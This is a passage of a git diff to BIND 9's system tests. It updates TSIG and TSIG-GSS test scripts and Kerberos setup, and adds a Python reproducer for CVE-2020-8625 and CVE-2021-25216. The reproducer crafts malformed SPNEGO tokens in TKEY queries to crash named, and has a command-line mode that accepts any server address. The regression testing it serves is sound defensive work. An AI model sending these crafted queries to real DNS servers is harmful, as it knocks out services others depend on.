 #
 #
-echo_i "fetching using hmac-md5 (trunc)"
-ret=0
-$DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5-trunc:$md5" @10.53.0.1 soa > dig.out.md5.trunc || ret=1
-grep -i "md5-trunc.*TSIG.*NOERROR" dig.out.md5.trunc > /dev/null || ret=1
-if [ $ret -eq 1 ] ; then
-	echo_i "failed"; status=1
+if $FEATURETEST --md5
+then
+	echo_i "fetching using hmac-md5 (trunc)"
+	ret=0
+	$DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5-trunc:$md5" @10.53.0.1 soa > dig.out.md5.trunc || ret=1
+	grep -i "md5-trunc.*TSIG.*NOERROR" dig.out.md5.trunc > /dev/null || ret=1
+	if [ $ret -eq 1 ] ; then
+		echo_i "failed"; status=1
+	fi
+else
+	echo_i "skipping using hmac-md5 (trunc)"
 fi
 
 echo_i "fetching using hmac-sha1 (trunc)"
@@ -140,12 +154,17 @@ fi
 #	Check for bad truncation.
 #
 #
-echo_i "fetching using hmac-md5-80 (BADTRUNC)"
-ret=0
-$DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5:$md5" @10.53.0.1 soa > dig.out.md5-80 || ret=1
-grep -i "md5.*TSIG.*BADTRUNC" dig.out.md5-80 > /dev/null || ret=1
-if [ $ret -eq 1 ] ; then
-	echo_i "failed"; status=1
+if $FEATURETEST --md5
+then
+	echo_i "fetching using hmac-md5-80 (BADTRUNC)"
+	ret=0
+	$DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5:$md5" @10.53.0.1 soa > dig.out.md5-80 || ret=1
+	grep -i "md5.*TSIG.*BADTRUNC" dig.out.md5-80 > /dev/null || ret=1
+	if [ $ret -eq 1 ] ; then
+		echo_i "failed"; status=1
+	fi
+else
+	echo_i "skipping using hmac-md5-80 (BADTRUNC)"
 fi
 
 echo_i "fetching using hmac-sha1-80 (BADTRUNC)"
@@ -240,5 +259,64 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=1
 fi
 
+if $FEATURETEST --md5
+then
+	echo_i "fetching using hmac-md5 (legacy)"
+	ret=0
+	$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-md5-legacy.+*.key @10.53.0.1 soa > dig.out.md5.legacy 2>&1 || ret=1
+	grep -i "md5.*TSIG.*NOERROR" dig.out.md5.legacy > /dev/null || ret=1
+	grep "Use of K\* file pairs for HMAC is deprecated" dig.out.md5.legacy > /dev/null || ret=1
+	if [ $ret -eq 1 ] ; then
+		echo_i "failed"; status=1
+	fi
+else
+	echo_i "skipping using hmac-md5"
+fi
+
+echo_i "fetching using hmac-sha1 (legacy)"
+ret=0
+$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha1-legacy.+*.key @10.53.0.1 soa > dig.out.sha1.legacy 2>&1 || ret=1
+grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1.legacy > /dev/null || ret=1
+grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha1.legacy > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+	echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha224 (legacy)"
+ret=0
+$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha224-legacy.+*.key @10.53.0.1 soa > dig.out.sha224 2>&1 || ret=1
+grep -i "sha224.*TSIG.*NOERROR" dig.out.sha224 > /dev/null || ret=1
+grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha224 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+	echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha256 (legacy)"
+ret=0
+$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha256-legacy.*.key @10.53.0.1 soa > dig.out.sha256 2>&1 || ret=1
+grep -i "sha256.*TSIG.*NOERROR" dig.out.sha256 > /dev/null || ret=1
+grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha256 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+	echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha384 (legacy)"
+ret=0
+$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha384-legacy.*.key @10.53.0.1 soa > dig.out.sha384 2>&1 || ret=1
+grep -i "sha384.*TSIG.*NOERROR" dig.out.sha384 > /dev/null || ret=1
+grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha384 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+	echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha512 (legacy)"
+ret=0
+$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha512-legacy.*.key @10.53.0.1 soa > dig.out.sha512 2>&1 || ret=1
+grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha512 > /dev/null || ret=1
+grep -i "sha512.*TSIG.*NOERROR" dig.out.sha512 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+	echo_i "failed"; status=1
+fi
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tsig/tests_sh_tsig.py b/bin/tests/system/tsig/tests_sh_tsig.py
new file mode 100644
index 0000000000..b421852c84
--- /dev/null
+++ b/bin/tests/system/tsig/tests_sh_tsig.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_tsig(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/tsiggss/authsock.pl b/bin/tests/system/tsiggss/authsock.pl
index c43cab679f..4c76bf8d56 100644
--- a/bin/tests/system/tsiggss/authsock.pl
+++ b/bin/tests/system/tsiggss/authsock.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tsiggss/clean.sh b/bin/tests/system/tsiggss/clean.sh
index 81f649fe9d..0ace209efb 100644
--- a/bin/tests/system/tsiggss/clean.sh
+++ b/bin/tests/system/tsiggss/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/tsiggss/krb/setup.sh b/bin/tests/system/tsiggss/krb/setup.sh
new file mode 100644
index 0000000000..56e2462cea
--- /dev/null
+++ b/bin/tests/system/tsiggss/krb/setup.sh
@@ -0,0 +1,104 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -x
+
+PWD=$(pwd)
+
+KRB5_CONFIG="${PWD}/krb5.conf"
+export KRB5_CONFIG
+
+KRB5_KDC_PROFILE=${PWD}/krb5kdc
+export KRB5_KDC_PROFILE
+
+now=$(date +%s)
+lifetime=$(2147483647 - now)
+lifetime=$(lifetime / 3600 / 24 - 30)
+
+cat << EOF > "${KRB5_CONFIG}"
+[libdefaults]
+   default_realm = EXAMPLE.NIL
+   dns_lookup_kdc = false
+   # Depending on what you are testing, you may want something like:
+   # default_keytab_name = FILE:/usr/local/var/keytab
+[realms]
+   EXAMPLE.NIL = {
+     admin_server = 127.0.0.1:50001
+     kdc = 127.0.0.1:50000
+     database_module = DB2
+     kdc_ports = 50000
+     kadmind_port = 50001
+   }
+[dbmodules]
+   DB2 = {
+     db_library = db2
+   }
+[logging]
+   # Use any pathnames you want here.
+   kdc = FILE:${PWD}/kdc.log
+   admin_server = FILE:${PWD}/kadmin.log
+# Depending on what you are testing, you may want:
+# [domain_realm]
+#   your.domain = EXAMPLE.COM
+EOF
+
+rm -rf ${KRB5_KDC_PROFILE}
+mkdir -p ${KRB5_KDC_PROFILE}
+chmod 700 ${KRB5_KDC_PROFILE}
+
+cat << EOF > "${KRB5_KDC_PROFILE}"/kdc.conf
+[kdcdefaults]
+  kdc_ports = 50000
+  kdc_tcp_ports = 50000
+
+[realms]
+  EXAMPLE.NIL = {
+    key_stash_file = ${KRB5_KDC_PROFILE}/.k5.EXAMPLE.NIL
+    database_module = EXAMPLE.NIL
+    max_life = ${lifetime}d
+}
+
+[dbmodules]
+  EXAMPLE.NIL = {
+    db_library = db2
+    database_name = ${KRB5_KDC_PROFILE}/principal
+  }
+EOF
+
+kdb5_util create -s <<EOF
+master
+master
+EOF
+
+krb5kdc -n &
+krb5kdcpid=$!
+#trap "kill $krb5kdcpid; wait; trap 0; exit" 0 15
+
+
+kadmin.local addprinc -maxlife ${lifetime}d -randkey DNS/example.nil@EXAMPLE.NIL
+kadmin.local addprinc -maxlife ${lifetime}d -randkey DNS/blu.example.nil@EXAMPLE.NIL
+kadmin.local addprinc -maxlife ${lifetime}d -randkey dns-blu@EXAMPLE.NIL
+kadmin.local addprinc -maxlife ${lifetime}d -randkey administrator@EXAMPLE.NIL
+kadmin.local addprinc -maxlife ${lifetime}d -randkey testdenied@EXAMPLE.NIL
+
+kadmin.local ktadd -k dns.keytab DNS/example.nil@EXAMPLE.NIL
+kadmin.local ktadd -k dns.keytab DNS/blu.example.nil@EXAMPLE.NIL
+kadmin.local ktadd -k dns.keytab dns-blu@EXAMPLE.NIL
+kadmin.local ktadd -k administrator.keytab administrator@EXAMPLE.NIL
+kadmin.local ktadd -k testdenied.keytab testdenied@EXAMPLE.NIL
+
+kinit -V -k -t administrator.keytab -l ${lifetime}d -c administrator.ccache administrator@EXAMPLE.NIL
+kinit -V -k -t testdenied.keytab -l ${lifetime}d -c testdenied.ccache testdenied@EXAMPLE.NIL
+
+cp dns.keytab administrator.ccache testdenied.ccache ../ns1/
+
+echo "krb5kdc pid:$krb5kdcpid"
+echo "KRB5_CONFIG=$KRB5_CONFIG"
diff --git a/bin/tests/system/tsiggss/ns1/administrator.ccache b/bin/tests/system/tsiggss/ns1/administrator.ccache
index e6c2e74770..c81cc884e4 100644
Binary files a/bin/tests/system/tsiggss/ns1/administrator.ccache and b/bin/tests/system/tsiggss/ns1/administrator.ccache differ
diff --git a/bin/tests/system/tsiggss/ns1/dns.keytab b/bin/tests/system/tsiggss/ns1/dns.keytab
index dcb863b7b2..d5a09b060a 100644
Binary files a/bin/tests/system/tsiggss/ns1/dns.keytab and b/bin/tests/system/tsiggss/ns1/dns.keytab differ
diff --git a/bin/tests/system/tsiggss/ns1/example.nil.db.in b/bin/tests/system/tsiggss/ns1/example.nil.db.in
index 001bb29837..ffa7e588e9 100644
--- a/bin/tests/system/tsiggss/ns1/example.nil.db.in
+++ b/bin/tests/system/tsiggss/ns1/example.nil.db.in
@@ -1,5 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 ; -*- zone -*-
-; this was generated by a Samba4 provision, and is typical 
+; this was generated by a Samba4 provision, and is typical
 ; of a AD DNS zone
 $ORIGIN example.nil.
 $TTL 1W
diff --git a/bin/tests/system/tsiggss/ns1/named.conf.in b/bin/tests/system/tsiggss/ns1/named.conf.in
index 9a6b329ca7..7b34c3297f 100644
--- a/bin/tests/system/tsiggss/ns1/named.conf.in
+++ b/bin/tests/system/tsiggss/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,13 +21,14 @@ options {
 	listen-on { 10.53.0.1; 127.0.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	tkey-gssapi-keytab "dns.keytab";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/tsiggss/ns1/testdenied.ccache b/bin/tests/system/tsiggss/ns1/testdenied.ccache
index 070e85b5aa..772b9535a4 100644
Binary files a/bin/tests/system/tsiggss/ns1/testdenied.ccache and b/bin/tests/system/tsiggss/ns1/testdenied.ccache differ
diff --git a/bin/tests/system/tsiggss/prereq.sh b/bin/tests/system/tsiggss/prereq.sh
index c77153a9ef..252b624cab 100644
--- a/bin/tests/system/tsiggss/prereq.sh
+++ b/bin/tests/system/tsiggss/prereq.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,4 +19,9 @@ $FEATURETEST --gssapi ||  {
         exit 255
 }
 
+$FEATURETEST --have-fips-dh ||  {
+        echo_i "FIPS mode Diffie-Hellman not working - skipping tsiggss test"
+        exit 255
+}
+
 exit 0
diff --git a/bin/tests/system/tsiggss/setup.sh b/bin/tests/system/tsiggss/setup.sh
index 247915cdd3..37b80fdf11 100644
--- a/bin/tests/system/tsiggss/setup.sh
+++ b/bin/tests/system/tsiggss/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,5 +17,5 @@ $SHELL clean.sh
 
 copy_setports ns1/named.conf.in ns1/named.conf
 
-key=`$KEYGEN -Cq -K ns1 -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n HOST -T KEY key.example.nil.`
+key=$($KEYGEN -Cq -K ns1 -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n HOST -T KEY key.example.nil.)
 cat ns1/example.nil.db.in ns1/${key}.key > ns1/example.nil.db
diff --git a/bin/tests/system/tsiggss/tests.sh b/bin/tests/system/tsiggss/tests.sh
index 0d671032ec..6f63c9bed4 100644
--- a/bin/tests/system/tsiggss/tests.sh
+++ b/bin/tests/system/tsiggss/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,8 +13,13 @@
 
 # tests for TSIG-GSS updates
 
+set -e
+
 . ../conf.sh
 
+# Uncomment to regenerate credential caches after running krb5/setup.sh
+# KRB5_CONFIG=$(pwd)/krb/krb5.conf
+
 status=0
 n=1
 
@@ -39,7 +46,7 @@ EOF
     }
 
     # Verify that TKEY response is signed.
-    tkeyout=`awk '/recvmsg reply from GSS-TSIG query/,/Sending update to/' nsupdate.out${num}`
+    tkeyout=$(awk '/recvmsg reply from GSS-TSIG query/,/Sending update to/' nsupdate.out${num})
     pattern="recvmsg reply from GSS-TSIG query .* opcode: QUERY, status: NOERROR, id: .* flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; QUESTION SECTION: ;.* ANY TKEY ;; ANSWER SECTION: .* 0 ANY TKEY gss-tsig\. .* ;; TSIG PSEUDOSECTION: .* 0 ANY TSIG gss-tsig\. .* NOERROR 0"
     echo $tkeyout | grep "$pattern" > /dev/null || {
 	echo_i "bad tkey response (not tsig signed)"
@@ -52,8 +59,8 @@ EOF
 	return 1
     }
 
-    out=`$DIG $DIGOPTS -t $type -q $host | egrep "^${host}"`
-    lines=`echo "$out" | grep "$digout" | wc -l`
+    out=$($DIG $DIGOPTS -t $type -q $host | grep -E "^${host}")
+    lines=$(echo "$out" | grep "$digout" | wc -l)
     [ $lines -eq 1 ] || {
 	echo_i "dig output incorrect for $host $type $cmd: $out"
 	return 1
@@ -63,7 +70,7 @@ EOF
 
 
 # Testing updates with good credentials.
-KRB5CCNAME="FILE:"`pwd`/ns1/administrator.ccache
+KRB5CCNAME="FILE:"$(pwd)/ns1/administrator.ccache
 export KRB5CCNAME
 
 echo_i "testing updates to testdc1 as administrator ($n)"
@@ -89,7 +96,7 @@ status=$((status+ret))
 
 
 # Testing denied updates.
-KRB5CCNAME="FILE:"`pwd`/ns1/testdenied.ccache
+KRB5CCNAME="FILE:"$(pwd)/ns1/testdenied.ccache
 export KRB5CCNAME
 
 echo_i "testing updates to denied (A) as a user ($n)"
@@ -137,7 +144,7 @@ zone example.nil
 update add fred.example.nil 120 cname foo.bar.
 send
 END
-output=`$DIG $DIGOPTS +short cname fred.example.nil.`
+output=$($DIG $DIGOPTS +short cname fred.example.nil.)
 [ -n "$output" ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
 n=$((n+1))
@@ -166,9 +173,21 @@ n=$((n+1))
 if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+echo_i "stop and start server to check key restoration ($n)"
+ret=0
+gss_keys=$(grep 'tsig key.*generated' ns1/named.run | wc -l)
+stop_server --use-rndc --port "${CONTROLPORT}" ns1
+start_server --noclean --restart --port "${PORT}" ns1
+restored_keys=$(grep 'tsig key.*restored from file' ns1/named.run | wc -l)
+[ "$gss_keys" -ne 0 ] || ret=1
+[ "$restored_keys" -ne 0 ] || ret=1
+[ "$gss_keys" -eq "$restored_keys" ] || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 [ $status -eq 0 ] && echo_i "tsiggss tests all OK"
 
-kill `cat authsock.pid`
+kill $(cat authsock.pid)
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
new file mode 100755
index 0000000000..6340b5abf8
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
@@ -0,0 +1,219 @@
+#!/usr/bin/python
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+A tool for reproducing ISC SPNEGO vulnerabilities
+"""
+
+import argparse
+import datetime
+import struct
+import time
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.name
+import dns.query
+import dns.rdata
+import dns.rdataclass
+import dns.rdatatype
+import dns.rrset
+
+
+class CraftedTKEYQuery:
+    # pylint: disable=too-few-public-methods
+
+    """
+    A class for preparing crafted TKEY queries
+    """
+
+    def __init__(self, opts: argparse.Namespace) -> None:
+        # Prepare crafted key data
+        tkey_data = ASN1Encoder(opts).get_tkey_data()
+        # Prepare TKEY RDATA containing crafted key data
+        rdata = dns.rdata.GenericRdata(
+            dns.rdataclass.ANY, dns.rdatatype.TKEY, self._get_tkey_rdata(tkey_data)
+        )
+        # Prepare TKEY RRset with crafted RDATA (for the ADDITIONAL section)
+        rrset = dns.rrset.from_rdata(dns.name.root, dns.rdatatype.TKEY, rdata)
+
+        # Prepare complete TKEY query to send
+        self.msg = dns.message.make_query(
+            dns.name.root, dns.rdatatype.TKEY, dns.rdataclass.ANY
+        )
+        self.msg.additional.append(rrset)
+
+    def _get_tkey_rdata(self, tkey_data: bytes) -> bytes:
+        """
+        Return the RDATA to be used for the TKEY RRset sent in the ADDITIONAL
+        section
+        """
+        tkey_rdata = dns.name.from_text("gss-tsig.").to_wire()  # domain
+        if not tkey_rdata:
+            return b""
+        tkey_rdata += struct.pack(">I", int(time.time()) - 3600)  # inception
+        tkey_rdata += struct.pack(">I", int(time.time()) + 86400)  # expiration
+        tkey_rdata += struct.pack(">H", 3)  # mode
+        tkey_rdata += struct.pack(">H", 0)  # error
+        tkey_rdata += self._with_len(tkey_data)  # key
+        tkey_rdata += struct.pack(">H", 0)  # other size
+        return tkey_rdata
+
+    def _with_len(self, data: bytes) -> bytes:
+        """
+        Return 'data' with its length prepended as a 16-bit big-endian integer
+        """
+        return struct.pack(">H", len(data)) + data
+
+
+class ASN1Encoder:
+    # pylint: disable=too-few-public-methods
+
+    """
+    A custom ASN1 encoder which allows preparing malformed GSSAPI tokens
+    """
+
+    SPNEGO_OID = b"\x06\x06\x2b\x06\x01\x05\x05\x02"
+
+    def __init__(self, opts: argparse.Namespace) -> None:
+        self._real_oid_length = opts.real_oid_length
+        self._extra_oid_length = opts.extra_oid_length
+
+    # The TKEY RR being sent contains an encoded negTokenInit SPNEGO message.
+    # RFC 4178 section 4.2 specifies how such a message is constructed.
+
+    def get_tkey_data(self) -> bytes:
+        """
+        Return the key data field of the TKEY RR to be sent
+        """
+        return self._asn1(
+            data_id=b"\x60", data=self.SPNEGO_OID + self._get_negtokeninit()
+        )
+
+    def _get_negtokeninit(self) -> bytes:
+        """
+        Return the ASN.1 DER-encoded form of the negTokenInit message to send
+        """
+        return self._asn1(
+            data_id=b"\xa0",
+            data=self._asn1(
+                data_id=b"\x30",
+                data=self._get_mechtypelist(),
+                extra_length=self._extra_oid_length,
+            ),
+            extra_length=self._extra_oid_length,
+        )
+
+    def _get_mechtypelist(self) -> bytes:
+        """
+        Return the ASN.1 DER-encoded form of the MechTypeList to send
+        """
+        return self._asn1(
+            data_id=b"\xa0",
+            data=self._asn1(
+                data_id=b"\x30",
+                data=self._get_mechtype(),
+                extra_length=self._extra_oid_length,
+            ),
+            extra_length=self._extra_oid_length,
+        )
+
+    def _get_mechtype(self) -> bytes:
+        """
+        Return the ASN.1 DER-encoded form of a bogus security mechanism OID
+        which consists of 'self._real_oid_length' 0x01 bytes
+        """
+        return self._asn1(
+            data_id=b"\x06",
+            data=b"\x01" * self._real_oid_length,
+            extra_length=self._extra_oid_length,
+        )
+
+    def _asn1(self, data_id: bytes, data: bytes, extra_length: int = 0) -> bytes:
+        """
+        Return the ASN.1 DER-encoded form of 'data' to be included in GSSAPI
+        key data, designated with 'data_id' as the content identifier.  Setting
+        'extra_length' to a positive integer allows data length indicated in
+        the ASN.1 DER representation of 'data' to be increased beyond its
+        actual size.
+        """
+        data_len = struct.pack(">I", len(data) + extra_length)
+        return data_id + b"\x84" + data_len + data
+
+
+def parse_options() -> argparse.Namespace:
+    """
+    Parse command line options
+    """
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--server-ip", required=True)
+    parser.add_argument("--server-port", type=int, default=53)
+    parser.add_argument("--real-oid-length", type=int, default=1)
+    parser.add_argument("--extra-oid-length", type=int, default=0)
+
+    return parser.parse_args()
+
+
+def send_crafted_tkey_query(opts: argparse.Namespace) -> None:
+    """
+    Script entry point
+    """
+
+    query = CraftedTKEYQuery(opts).msg
+    print("# > " + str(datetime.datetime.now()))
+    print(query.to_text())
+    print()
+
+    response = dns.query.tcp(query, opts.server_ip, timeout=2, port=opts.server_port)
+    print("# < " + str(datetime.datetime.now()))
+    print(response.to_text())
+    print()
+
+
+def test_cve_2020_8625(named_port):
+    """
+    Reproducer for CVE-2020-8625.  When run for an affected BIND 9 version,
+    send_crafted_tkey_query() will raise a network-related exception due to
+    named (ns1) becoming unavailable after crashing.
+    """
+    for i in range(0, 50):
+        opts = argparse.Namespace(
+            server_ip="10.53.0.1",
+            server_port=named_port,
+            real_oid_length=i,
+            extra_oid_length=0,
+        )
+        send_crafted_tkey_query(opts)
+
+
+def test_cve_2021_25216(named_port):
+    """
+    Reproducer for CVE-2021-25216.  When run for an affected BIND 9 version,
+    send_crafted_tkey_query() will raise a network-related exception due to
+    named (ns1) becoming unavailable after crashing.
+    """
+    opts = argparse.Namespace(
+        server_ip="10.53.0.1",
+        server_port=named_port,
+        real_oid_length=1,
+        extra_oid_length=1073741824,
+    )
+    send_crafted_tkey_query(opts)
+
+
+if __name__ == "__main__":
+    cli_opts = parse_options()
+    send_crafted_tkey_query(cli_opts)
diff --git a/bin/tests/system/tsiggss/tests_sh_tsiggss.py b/bin/tests/system/tsiggss/tests_sh_tsiggss.py
new file mode 100644
index 0000000000..926a9a9e6c
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests_sh_tsiggss.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_tsiggss(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ttl/clean.sh b/bin/tests/system/ttl/clean.sh
index 443b841ea8..3bb41d9247 100644
--- a/bin/tests/system/ttl/clean.sh
+++ b/bin/tests/system/ttl/clean.sh
@@ -1,10 +1,17 @@
 #!/bin/sh
 
-rm -f ./dig.out.*
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 rm -f ./*/named.conf
 rm -f ./*/named.memstats
 rm -f ./*/named.run
-rm -f ./ns*/named.lock
-rm -f ./ns*/_default.nzf
-rm -f ./ns*/_default.nzd*
-rm -f ./ns*/managed-keys.bind* ns*/*.mkeys*
+rm -f ./ns*/managed-keys.bind*
diff --git a/bin/tests/system/ttl/ns1/max-example.db b/bin/tests/system/ttl/ns1/max-example.db
index 87efa578c2..aeaafc7fbc 100644
--- a/bin/tests/system/ttl/ns1/max-example.db
+++ b/bin/tests/system/ttl/ns1/max-example.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 max-example.	1209600	IN SOA	ns root (
 				2000082401 ; serial
 				1800       ; refresh (30 minutes)
diff --git a/bin/tests/system/ttl/ns1/min-example.db b/bin/tests/system/ttl/ns1/min-example.db
index da1db00f1b..87d6e7e269 100644
--- a/bin/tests/system/ttl/ns1/min-example.db
+++ b/bin/tests/system/ttl/ns1/min-example.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 min-example.	0	IN SOA	ns root (
 				2000082401 ; serial
 				1800       ; refresh (30 minutes)
diff --git a/bin/tests/system/ttl/ns1/named.conf.in b/bin/tests/system/ttl/ns1/named.conf.in
index 8a3bca36d7..51eee0cd33 100644
--- a/bin/tests/system/ttl/ns1/named.conf.in
+++ b/bin/tests/system/ttl/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
